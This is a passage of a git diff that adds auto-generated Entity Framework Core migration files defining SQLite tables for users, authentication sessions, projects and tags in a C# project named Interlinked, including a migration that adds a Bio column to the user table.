|
|
||||||
|
b.ToTable("Projects");
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("Interlinked.Shared.Model.Tag", b =>
|
||||||
|
{
|
||||||
|
b.Property<string>("Identifier")
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<string>("Name")
|
||||||
|
.IsRequired()
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.HasKey("Identifier");
|
||||||
|
|
||||||
|
b.ToTable("Tags");
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("Interlinked.Shared.Model.UserModel", b =>
|
||||||
|
{
|
||||||
|
b.Property<long>("Id")
|
||||||
|
.ValueGeneratedOnAdd()
|
||||||
|
.HasColumnType("INTEGER");
|
||||||
|
|
||||||
|
b.Property<string>("City")
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<string>("CountryCode")
|
||||||
|
.IsRequired()
|
||||||
|
.HasMaxLength(2)
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<DateTime>("CreatedTimestamp")
|
||||||
|
.ValueGeneratedOnAdd()
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<DateTime?>("DayOfBirth")
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<string>("Email")
|
||||||
|
.IsRequired()
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<string>("Gender")
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<byte[]>("Hash")
|
||||||
|
.IsRequired()
|
||||||
|
.HasColumnType("BLOB");
|
||||||
|
|
||||||
|
b.Property<string>("Name")
|
||||||
|
.HasMaxLength(96)
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<byte[]>("Salt")
|
||||||
|
.IsRequired()
|
||||||
|
.HasColumnType("BLOB");
|
||||||
|
|
||||||
|
b.Property<string>("Username")
|
||||||
|
.IsRequired()
|
||||||
|
.HasMaxLength(32)
|
||||||
|
.HasColumnType("TEXT")
|
||||||
|
.UseCollation("NOCASE");
|
||||||
|
|
||||||
|
b.HasKey("Id");
|
||||||
|
|
||||||
|
b.ToTable("Users");
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("ProjectTag", b =>
|
||||||
|
{
|
||||||
|
b.Property<long>("ProjectsId")
|
||||||
|
.HasColumnType("INTEGER");
|
||||||
|
|
||||||
|
b.Property<string>("TagsIdentifier")
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.HasKey("ProjectsId", "TagsIdentifier");
|
||||||
|
|
||||||
|
b.HasIndex("TagsIdentifier");
|
||||||
|
|
||||||
|
b.ToTable("ProjectTag");
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("TagUserModel", b =>
|
||||||
|
{
|
||||||
|
b.Property<string>("InterestsIdentifier")
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<long>("UsersId")
|
||||||
|
.HasColumnType("INTEGER");
|
||||||
|
|
||||||
|
b.HasKey("InterestsIdentifier", "UsersId");
|
||||||
|
|
||||||
|
b.HasIndex("UsersId");
|
||||||
|
|
||||||
|
b.ToTable("TagUserModel");
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("Interlinked.Shared.Model.AuthSession", b =>
|
||||||
|
{
|
||||||
|
b.HasOne("Interlinked.Shared.Model.UserModel", "User")
|
||||||
|
.WithMany("AuthSessions")
|
||||||
|
.HasForeignKey("UserId")
|
||||||
|
.OnDelete(DeleteBehavior.Cascade)
|
||||||
|
.IsRequired();
|
||||||
|
|
||||||
|
b.Navigation("User");
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("Interlinked.Shared.Model.Project", b =>
|
||||||
|
{
|
||||||
|
b.HasOne("Interlinked.Shared.Model.UserModel", "Owner")
|
||||||
|
.WithMany()
|
||||||
|
.HasForeignKey("OwnerId")
|
||||||
|
.OnDelete(DeleteBehavior.Cascade)
|
||||||
|
.IsRequired();
|
||||||
|
|
||||||
|
b.Navigation("Owner");
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("ProjectTag", b =>
|
||||||
|
{
|
||||||
|
b.HasOne("Interlinked.Shared.Model.Project", null)
|
||||||
|
.WithMany()
|
||||||
|
.HasForeignKey("ProjectsId")
|
||||||
|
.OnDelete(DeleteBehavior.Cascade)
|
||||||
|
.IsRequired();
|
||||||
|
|
||||||
|
b.HasOne("Interlinked.Shared.Model.Tag", null)
|
||||||
|
.WithMany()
|
||||||
|
.HasForeignKey("TagsIdentifier")
|
||||||
|
.OnDelete(DeleteBehavior.Cascade)
|
||||||
|
.IsRequired();
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("TagUserModel", b =>
|
||||||
|
{
|
||||||
|
b.HasOne("Interlinked.Shared.Model.Tag", null)
|
||||||
|
.WithMany()
|
||||||
|
.HasForeignKey("InterestsIdentifier")
|
||||||
|
.OnDelete(DeleteBehavior.Cascade)
|
||||||
|
.IsRequired();
|
||||||
|
|
||||||
|
b.HasOne("Interlinked.Shared.Model.UserModel", null)
|
||||||
|
.WithMany()
|
||||||
|
.HasForeignKey("UsersId")
|
||||||
|
.OnDelete(DeleteBehavior.Cascade)
|
||||||
|
.IsRequired();
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("Interlinked.Shared.Model.UserModel", b =>
|
||||||
|
{
|
||||||
|
b.Navigation("AuthSessions");
|
||||||
|
});
|
||||||
|
#pragma warning restore 612, 618
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
180
src/Interlinked.User/Migrations/20231001074047_Initial schema.cs
Normal file
180
src/Interlinked.User/Migrations/20231001074047_Initial schema.cs
Normal file
|
@ -0,0 +1,180 @@
|
||||||
|
using System;
|
||||||
|
using Microsoft.EntityFrameworkCore.Migrations;
|
||||||
|
|
||||||
|
#nullable disable
|
||||||
|
|
||||||
|
namespace Interlinked.User.Migrations
|
||||||
|
{
|
||||||
|
/// <inheritdoc />
|
||||||
|
public partial class Initialschema : Migration
|
||||||
|
{
|
||||||
|
/// <inheritdoc />
|
||||||
|
protected override void Up(MigrationBuilder migrationBuilder)
|
||||||
|
{
|
||||||
|
migrationBuilder.CreateTable(
|
||||||
|
name: "Tags",
|
||||||
|
columns: table => new
|
||||||
|
{
|
||||||
|
Identifier = table.Column<string>(type: "TEXT", nullable: false),
|
||||||
|
Name = table.Column<string>(type: "TEXT", nullable: false)
|
||||||
|
},
|
||||||
|
constraints: table =>
|
||||||
|
{
|
||||||
|
table.PrimaryKey("PK_Tags", x => x.Identifier);
|
||||||
|
});
|
||||||
|
|
||||||
|
migrationBuilder.CreateTable(
|
||||||
|
name: "Users",
|
||||||
|
columns: table => new
|
||||||
|
{
|
||||||
|
Id = table.Column<long>(type: "INTEGER", nullable: false)
|
||||||
|
.Annotation("Sqlite:Autoincrement", true),
|
||||||
|
Username = table.Column<string>(type: "TEXT", maxLength: 32, nullable: false, collation: "NOCASE"),
|
||||||
|
Email = table.Column<string>(type: "TEXT", nullable: false),
|
||||||
|
Name = table.Column<string>(type: "TEXT", maxLength: 96, nullable: true),
|
||||||
|
Salt = table.Column<byte[]>(type: "BLOB", nullable: false),
|
||||||
|
Hash = table.Column<byte[]>(type: "BLOB", nullable: false),
|
||||||
|
City = table.Column<string>(type: "TEXT", nullable: true),
|
||||||
|
CountryCode = table.Column<string>(type: "TEXT", maxLength: 2, nullable: false),
|
||||||
|
Gender = table.Column<string>(type: "TEXT", nullable: true),
|
||||||
|
DayOfBirth = table.Column<DateTime>(type: "TEXT", nullable: true),
|
||||||
|
CreatedTimestamp = table.Column<DateTime>(type: "TEXT", nullable: false)
|
||||||
|
},
|
||||||
|
constraints: table =>
|
||||||
|
{
|
||||||
|
table.PrimaryKey("PK_Users", x => x.Id);
|
||||||
|
});
|
||||||
|
|
||||||
|
migrationBuilder.CreateTable(
|
||||||
|
name: "AuthSessions",
|
||||||
|
columns: table => new
|
||||||
|
{
|
||||||
|
Key = table.Column<byte[]>(type: "BLOB", nullable: false),
|
||||||
|
Secret = table.Column<byte[]>(type: "BLOB", nullable: false),
|
||||||
|
UserId = table.Column<long>(type: "INTEGER", nullable: false),
|
||||||
|
LastAddress = table.Column<string>(type: "TEXT", nullable: true)
|
||||||
|
},
|
||||||
|
constraints: table =>
|
||||||
|
{
|
||||||
|
table.PrimaryKey("PK_AuthSessions", x => x.Key);
|
||||||
|
table.ForeignKey(
|
||||||
|
name: "FK_AuthSessions_Users_UserId",
|
||||||
|
column: x => x.UserId,
|
||||||
|
principalTable: "Users",
|
||||||
|
principalColumn: "Id",
|
||||||
|
onDelete: ReferentialAction.Cascade);
|
||||||
|
});
|
||||||
|
|
||||||
|
migrationBuilder.CreateTable(
|
||||||
|
name: "Projects",
|
||||||
|
columns: table => new
|
||||||
|
{
|
||||||
|
Id = table.Column<long>(type: "INTEGER", nullable: false)
|
||||||
|
.Annotation("Sqlite:Autoincrement", true),
|
||||||
|
Title = table.Column<string>(type: "TEXT", nullable: false),
|
||||||
|
Description = table.Column<string>(type: "TEXT", nullable: true),
|
||||||
|
OwnerId = table.Column<long>(type: "INTEGER", nullable: false)
|
||||||
|
},
|
||||||
|
constraints: table =>
|
||||||
|
{
|
||||||
|
table.PrimaryKey("PK_Projects", x => x.Id);
|
||||||
|
table.ForeignKey(
|
||||||
|
name: "FK_Projects_Users_OwnerId",
|
||||||
|
column: x => x.OwnerId,
|
||||||
|
principalTable: "Users",
|
||||||
|
principalColumn: "Id",
|
||||||
|
onDelete: ReferentialAction.Cascade);
|
||||||
|
});
|
||||||
|
|
||||||
|
migrationBuilder.CreateTable(
|
||||||
|
name: "TagUserModel",
|
||||||
|
columns: table => new
|
||||||
|
{
|
||||||
|
InterestsIdentifier = table.Column<string>(type: "TEXT", nullable: false),
|
||||||
|
UsersId = table.Column<long>(type: "INTEGER", nullable: false)
|
||||||
|
},
|
||||||
|
constraints: table =>
|
||||||
|
{
|
||||||
|
table.PrimaryKey("PK_TagUserModel", x => new { x.InterestsIdentifier, x.UsersId });
|
||||||
|
table.ForeignKey(
|
||||||
|
name: "FK_TagUserModel_Tags_InterestsIdentifier",
|
||||||
|
column: x => x.InterestsIdentifier,
|
||||||
|
principalTable: "Tags",
|
||||||
|
principalColumn: "Identifier",
|
||||||
|
onDelete: ReferentialAction.Cascade);
|
||||||
|
table.ForeignKey(
|
||||||
|
name: "FK_TagUserModel_Users_UsersId",
|
||||||
|
column: x => x.UsersId,
|
||||||
|
principalTable: "Users",
|
||||||
|
principalColumn: "Id",
|
||||||
|
onDelete: ReferentialAction.Cascade);
|
||||||
|
});
|
||||||
|
|
||||||
|
migrationBuilder.CreateTable(
|
||||||
|
name: "ProjectTag",
|
||||||
|
columns: table => new
|
||||||
|
{
|
||||||
|
ProjectsId = table.Column<long>(type: "INTEGER", nullable: false),
|
||||||
|
TagsIdentifier = table.Column<string>(type: "TEXT", nullable: false)
|
||||||
|
},
|
||||||
|
constraints: table =>
|
||||||
|
{
|
||||||
|
table.PrimaryKey("PK_ProjectTag", x => new { x.ProjectsId, x.TagsIdentifier });
|
||||||
|
table.ForeignKey(
|
||||||
|
name: "FK_ProjectTag_Projects_ProjectsId",
|
||||||
|
column: x => x.ProjectsId,
|
||||||
|
principalTable: "Projects",
|
||||||
|
principalColumn: "Id",
|
||||||
|
onDelete: ReferentialAction.Cascade);
|
||||||
|
table.ForeignKey(
|
||||||
|
name: "FK_ProjectTag_Tags_TagsIdentifier",
|
||||||
|
column: x => x.TagsIdentifier,
|
||||||
|
principalTable: "Tags",
|
||||||
|
principalColumn: "Identifier",
|
||||||
|
onDelete: ReferentialAction.Cascade);
|
||||||
|
});
|
||||||
|
|
||||||
|
migrationBuilder.CreateIndex(
|
||||||
|
name: "IX_AuthSessions_UserId",
|
||||||
|
table: "AuthSessions",
|
||||||
|
column: "UserId");
|
||||||
|
|
||||||
|
migrationBuilder.CreateIndex(
|
||||||
|
name: "IX_Projects_OwnerId",
|
||||||
|
table: "Projects",
|
||||||
|
column: "OwnerId");
|
||||||
|
|
||||||
|
migrationBuilder.CreateIndex(
|
||||||
|
name: "IX_ProjectTag_TagsIdentifier",
|
||||||
|
table: "ProjectTag",
|
||||||
|
column: "TagsIdentifier");
|
||||||
|
|
||||||
|
migrationBuilder.CreateIndex(
|
||||||
|
name: "IX_TagUserModel_UsersId",
|
||||||
|
table: "TagUserModel",
|
||||||
|
column: "UsersId");
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <inheritdoc />
|
||||||
|
protected override void Down(MigrationBuilder migrationBuilder)
|
||||||
|
{
|
||||||
|
migrationBuilder.DropTable(
|
||||||
|
name: "AuthSessions");
|
||||||
|
|
||||||
|
migrationBuilder.DropTable(
|
||||||
|
name: "ProjectTag");
|
||||||
|
|
||||||
|
migrationBuilder.DropTable(
|
||||||
|
name: "TagUserModel");
|
||||||
|
|
||||||
|
migrationBuilder.DropTable(
|
||||||
|
name: "Projects");
|
||||||
|
|
||||||
|
migrationBuilder.DropTable(
|
||||||
|
name: "Tags");
|
||||||
|
|
||||||
|
migrationBuilder.DropTable(
|
||||||
|
name: "Users");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
225
src/Interlinked.User/Migrations/20231001092331_bio.Designer.cs
generated
Normal file
225
src/Interlinked.User/Migrations/20231001092331_bio.Designer.cs
generated
Normal file
|
@ -0,0 +1,225 @@
|
||||||
|
// <auto-generated />
|
||||||
|
using System;
|
||||||
|
using Interlinked.User;
|
||||||
|
using Microsoft.EntityFrameworkCore;
|
||||||
|
using Microsoft.EntityFrameworkCore.Infrastructure;
|
||||||
|
using Microsoft.EntityFrameworkCore.Migrations;
|
||||||
|
using Microsoft.EntityFrameworkCore.Storage.ValueConversion;
|
||||||
|
|
||||||
|
#nullable disable
|
||||||
|
|
||||||
|
namespace Interlinked.User.Migrations
|
||||||
|
{
|
||||||
|
[DbContext(typeof(StoreContext))]
|
||||||
|
[Migration("20231001092331_bio")]
|
||||||
|
partial class bio
|
||||||
|
{
|
||||||
|
/// <inheritdoc />
|
||||||
|
protected override void BuildTargetModel(ModelBuilder modelBuilder)
|
||||||
|
{
|
||||||
|
#pragma warning disable 612, 618
|
||||||
|
modelBuilder.HasAnnotation("ProductVersion", "7.0.11");
|
||||||
|
|
||||||
|
modelBuilder.Entity("Interlinked.Shared.Model.AuthSession", b =>
|
||||||
|
{
|
||||||
|
b.Property<byte[]>("Key")
|
||||||
|
.HasColumnType("BLOB");
|
||||||
|
|
||||||
|
b.Property<string>("LastAddress")
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<byte[]>("Secret")
|
||||||
|
.IsRequired()
|
||||||
|
.HasColumnType("BLOB");
|
||||||
|
|
||||||
|
b.Property<long>("UserId")
|
||||||
|
.HasColumnType("INTEGER");
|
||||||
|
|
||||||
|
b.HasKey("Key");
|
||||||
|
|
||||||
|
b.HasIndex("UserId");
|
||||||
|
|
||||||
|
b.ToTable("AuthSessions");
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("Interlinked.Shared.Model.Project", b =>
|
||||||
|
{
|
||||||
|
b.Property<long>("Id")
|
||||||
|
.ValueGeneratedOnAdd()
|
||||||
|
.HasColumnType("INTEGER");
|
||||||
|
|
||||||
|
b.Property<string>("Description")
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<long>("OwnerId")
|
||||||
|
.HasColumnType("INTEGER");
|
||||||
|
|
||||||
|
b.Property<string>("Title")
|
||||||
|
.IsRequired()
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.HasKey("Id");
|
||||||
|
|
||||||
|
b.HasIndex("OwnerId");
|
||||||
|
|
||||||
|
b.ToTable("Projects");
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("Interlinked.Shared.Model.Tag", b =>
|
||||||
|
{
|
||||||
|
b.Property<string>("Identifier")
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<string>("Name")
|
||||||
|
.IsRequired()
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.HasKey("Identifier");
|
||||||
|
|
||||||
|
b.ToTable("Tags");
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("Interlinked.Shared.Model.UserModel", b =>
|
||||||
|
{
|
||||||
|
b.Property<long>("Id")
|
||||||
|
.ValueGeneratedOnAdd()
|
||||||
|
.HasColumnType("INTEGER");
|
||||||
|
|
||||||
|
b.Property<string>("Bio")
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<string>("City")
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<string>("CountryCode")
|
||||||
|
.IsRequired()
|
||||||
|
.HasMaxLength(2)
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<DateTime>("CreatedTimestamp")
|
||||||
|
.ValueGeneratedOnAdd()
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<DateTime?>("DayOfBirth")
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<string>("Email")
|
||||||
|
.IsRequired()
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<string>("Gender")
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<byte[]>("Hash")
|
||||||
|
.IsRequired()
|
||||||
|
.HasColumnType("BLOB");
|
||||||
|
|
||||||
|
b.Property<string>("Name")
|
||||||
|
.HasMaxLength(96)
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<byte[]>("Salt")
|
||||||
|
.IsRequired()
|
||||||
|
.HasColumnType("BLOB");
|
||||||
|
|
||||||
|
b.Property<string>("Username")
|
||||||
|
.IsRequired()
|
||||||
|
.HasMaxLength(32)
|
||||||
|
.HasColumnType("TEXT")
|
||||||
|
.UseCollation("NOCASE");
|
||||||
|
|
||||||
|
b.HasKey("Id");
|
||||||
|
|
||||||
|
b.ToTable("Users");
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("ProjectTag", b =>
|
||||||
|
{
|
||||||
|
b.Property<long>("ProjectsId")
|
||||||
|
.HasColumnType("INTEGER");
|
||||||
|
|
||||||
|
b.Property<string>("TagsIdentifier")
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.HasKey("ProjectsId", "TagsIdentifier");
|
||||||
|
|
||||||
|
b.HasIndex("TagsIdentifier");
|
||||||
|
|
||||||
|
b.ToTable("ProjectTag");
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("TagUserModel", b =>
|
||||||
|
{
|
||||||
|
b.Property<string>("InterestsIdentifier")
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<long>("UsersId")
|
||||||
|
.HasColumnType("INTEGER");
|
||||||
|
|
||||||
|
b.HasKey("InterestsIdentifier", "UsersId");
|
||||||
|
|
||||||
|
b.HasIndex("UsersId");
|
||||||
|
|
||||||
|
b.ToTable("TagUserModel");
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("Interlinked.Shared.Model.AuthSession", b =>
|
||||||
|
{
|
||||||
|
b.HasOne("Interlinked.Shared.Model.UserModel", "User")
|
||||||
|
.WithMany("AuthSessions")
|
||||||
|
.HasForeignKey("UserId")
|
||||||
|
.OnDelete(DeleteBehavior.Cascade)
|
||||||
|
.IsRequired();
|
||||||
|
|
||||||
|
b.Navigation("User");
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("Interlinked.Shared.Model.Project", b =>
|
||||||
|
{
|
||||||
|
b.HasOne("Interlinked.Shared.Model.UserModel", "Owner")
|
||||||
|
.WithMany()
|
||||||
|
.HasForeignKey("OwnerId")
|
||||||
|
.OnDelete(DeleteBehavior.Cascade)
|
||||||
|
.IsRequired();
|
||||||
|
|
||||||
|
b.Navigation("Owner");
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("ProjectTag", b =>
|
||||||
|
{
|
||||||
|
b.HasOne("Interlinked.Shared.Model.Project", null)
|
||||||
|
.WithMany()
|
||||||
|
.HasForeignKey("ProjectsId")
|
||||||
|
.OnDelete(DeleteBehavior.Cascade)
|
||||||
|
.IsRequired();
|
||||||
|
|
||||||
|
b.HasOne("Interlinked.Shared.Model.Tag", null)
|
||||||
|
.WithMany()
|
||||||
|
.HasForeignKey("TagsIdentifier")
|
||||||
|
.OnDelete(DeleteBehavior.Cascade)
|
||||||
|
.IsRequired();
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("TagUserModel", b =>
|
||||||
|
{
|
||||||
|
b.HasOne("Interlinked.Shared.Model.Tag", null)
|
||||||
|
.WithMany()
|
||||||
|
.HasForeignKey("InterestsIdentifier")
|
||||||
|
.OnDelete(DeleteBehavior.Cascade)
|
||||||
|
.IsRequired();
|
||||||
|
|
||||||
|
b.HasOne("Interlinked.Shared.Model.UserModel", null)
|
||||||
|
.WithMany()
|
||||||
|
.HasForeignKey("UsersId")
|
||||||
|
.OnDelete(DeleteBehavior.Cascade)
|
||||||
|
.IsRequired();
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("Interlinked.Shared.Model.UserModel", b =>
|
||||||
|
{
|
||||||
|
b.Navigation("AuthSessions");
|
||||||
|
});
|
||||||
|
#pragma warning restore 612, 618
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
28
src/Interlinked.User/Migrations/20231001092331_bio.cs
Normal file
28
src/Interlinked.User/Migrations/20231001092331_bio.cs
Normal file
|
@ -0,0 +1,28 @@
|
||||||
|
using Microsoft.EntityFrameworkCore.Migrations;
|
||||||
|
|
||||||
|
#nullable disable
|
||||||
|
|
||||||
|
namespace Interlinked.User.Migrations
|
||||||
|
{
|
||||||
|
/// <inheritdoc />
|
||||||
|
public partial class bio : Migration
|
||||||
|
{
|
||||||
|
/// <inheritdoc />
|
||||||
|
protected override void Up(MigrationBuilder migrationBuilder)
|
||||||
|
{
|
||||||
|
migrationBuilder.AddColumn<string>(
|
||||||
|
name: "Bio",
|
||||||
|
table: "Users",
|
||||||
|
type: "TEXT",
|
||||||
|
nullable: true);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <inheritdoc />
|
||||||
|
protected override void Down(MigrationBuilder migrationBuilder)
|
||||||
|
{
|
||||||
|
migrationBuilder.DropColumn(
|
||||||
|
name: "Bio",
|
||||||
|
table: "Users");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
222
src/Interlinked.User/Migrations/StoreContextModelSnapshot.cs
Normal file
222
src/Interlinked.User/Migrations/StoreContextModelSnapshot.cs
Normal file
|
@ -0,0 +1,222 @@
|
||||||
|
// <auto-generated />
|
||||||
|
using System;
|
||||||
|
using Interlinked.User;
|
||||||
|
using Microsoft.EntityFrameworkCore;
|
||||||
|
using Microsoft.EntityFrameworkCore.Infrastructure;
|
||||||
|
using Microsoft.EntityFrameworkCore.Storage.ValueConversion;
|
||||||
|
|
||||||
|
#nullable disable
|
||||||
|
|
||||||
|
namespace Interlinked.User.Migrations
|
||||||
|
{
|
||||||
|
[DbContext(typeof(StoreContext))]
|
||||||
|
partial class StoreContextModelSnapshot : ModelSnapshot
|
||||||
|
{
|
||||||
|
protected override void BuildModel(ModelBuilder modelBuilder)
|
||||||
|
{
|
||||||
|
#pragma warning disable 612, 618
|
||||||
|
modelBuilder.HasAnnotation("ProductVersion", "7.0.11");
|
||||||
|
|
||||||
|
modelBuilder.Entity("Interlinked.Shared.Model.AuthSession", b =>
|
||||||
|
{
|
||||||
|
b.Property<byte[]>("Key")
|
||||||
|
.HasColumnType("BLOB");
|
||||||
|
|
||||||
|
b.Property<string>("LastAddress")
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<byte[]>("Secret")
|
||||||
|
.IsRequired()
|
||||||
|
.HasColumnType("BLOB");
|
||||||
|
|
||||||
|
b.Property<long>("UserId")
|
||||||
|
.HasColumnType("INTEGER");
|
||||||
|
|
||||||
|
b.HasKey("Key");
|
||||||
|
|
||||||
|
b.HasIndex("UserId");
|
||||||
|
|
||||||
|
b.ToTable("AuthSessions");
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("Interlinked.Shared.Model.Project", b =>
|
||||||
|
{
|
||||||
|
b.Property<long>("Id")
|
||||||
|
.ValueGeneratedOnAdd()
|
||||||
|
.HasColumnType("INTEGER");
|
||||||
|
|
||||||
|
b.Property<string>("Description")
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<long>("OwnerId")
|
||||||
|
.HasColumnType("INTEGER");
|
||||||
|
|
||||||
|
b.Property<string>("Title")
|
||||||
|
.IsRequired()
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.HasKey("Id");
|
||||||
|
|
||||||
|
b.HasIndex("OwnerId");
|
||||||
|
|
||||||
|
b.ToTable("Projects");
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("Interlinked.Shared.Model.Tag", b =>
|
||||||
|
{
|
||||||
|
b.Property<string>("Identifier")
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<string>("Name")
|
||||||
|
.IsRequired()
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.HasKey("Identifier");
|
||||||
|
|
||||||
|
b.ToTable("Tags");
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("Interlinked.Shared.Model.UserModel", b =>
|
||||||
|
{
|
||||||
|
b.Property<long>("Id")
|
||||||
|
.ValueGeneratedOnAdd()
|
||||||
|
.HasColumnType("INTEGER");
|
||||||
|
|
||||||
|
b.Property<string>("Bio")
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<string>("City")
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<string>("CountryCode")
|
||||||
|
.IsRequired()
|
||||||
|
.HasMaxLength(2)
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<DateTime>("CreatedTimestamp")
|
||||||
|
.ValueGeneratedOnAdd()
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<DateTime?>("DayOfBirth")
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<string>("Email")
|
||||||
|
.IsRequired()
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<string>("Gender")
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<byte[]>("Hash")
|
||||||
|
.IsRequired()
|
||||||
|
.HasColumnType("BLOB");
|
||||||
|
|
||||||
|
b.Property<string>("Name")
|
||||||
|
.HasMaxLength(96)
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<byte[]>("Salt")
|
||||||
|
.IsRequired()
|
||||||
|
.HasColumnType("BLOB");
|
||||||
|
|
||||||
|
b.Property<string>("Username")
|
||||||
|
.IsRequired()
|
||||||
|
.HasMaxLength(32)
|
||||||
|
.HasColumnType("TEXT")
|
||||||
|
.UseCollation("NOCASE");
|
||||||
|
|
||||||
|
b.HasKey("Id");
|
||||||
|
|
||||||
|
b.ToTable("Users");
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("ProjectTag", b =>
|
||||||
|
{
|
||||||
|
b.Property<long>("ProjectsId")
|
||||||
|
.HasColumnType("INTEGER");
|
||||||
|
|
||||||
|
b.Property<string>("TagsIdentifier")
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.HasKey("ProjectsId", "TagsIdentifier");
|
||||||
|
|
||||||
|
b.HasIndex("TagsIdentifier");
|
||||||
|
|
||||||
|
b.ToTable("ProjectTag");
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("TagUserModel", b =>
|
||||||
|
{
|
||||||
|
b.Property<string>("InterestsIdentifier")
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<long>("UsersId")
|
||||||
|
.HasColumnType("INTEGER");
|
||||||
|
|
||||||
|
b.HasKey("InterestsIdentifier", "UsersId");
|
||||||
|
|
||||||
|
b.HasIndex("UsersId");
|
||||||
|
|
||||||
|
b.ToTable("TagUserModel");
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("Interlinked.Shared.Model.AuthSession", b =>
|
||||||
|
{
|
||||||
|
b.HasOne("Interlinked.Shared.Model.UserModel", "User")
|
||||||
|
.WithMany("AuthSessions")
|
||||||
|
.HasForeignKey("UserId")
|
||||||
|
.OnDelete(DeleteBehavior.Cascade)
|
||||||
|
.IsRequired();
|
||||||
|
|
||||||
|
b.Navigation("User");
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("Interlinked.Shared.Model.Project", b =>
|
||||||
|
{
|
||||||
|
b.HasOne("Interlinked.Shared.Model.UserModel", "Owner")
|
||||||
|
.WithMany()
|
||||||
|
.HasForeignKey("OwnerId")
|
||||||
|
.OnDelete(DeleteBehavior.Cascade)
|
||||||
|
.IsRequired();
|
||||||
|
|
||||||
|
b.Navigation("Owner");
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("ProjectTag", b =>
|
